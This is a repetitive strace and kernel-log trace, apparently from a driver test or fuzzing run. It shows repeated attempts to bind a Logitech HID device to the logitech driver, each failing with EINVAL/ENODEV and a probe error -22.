[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.467890][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.500261][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.521922][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.543263][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.557046][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.579928][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.593050][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.604757][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.618186][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.631841][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.635767][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.658198][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.669249][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.681790][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.693301][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.716400][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.749112][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.760464][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.784158][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.807178][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.841015][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.865611][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.887383][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.899021][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.910939][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.924884][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.959636][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.984626][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.019431][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.041219][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.084888][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.098445][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.121190][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.145202][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.157114][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.170175][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.205833][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
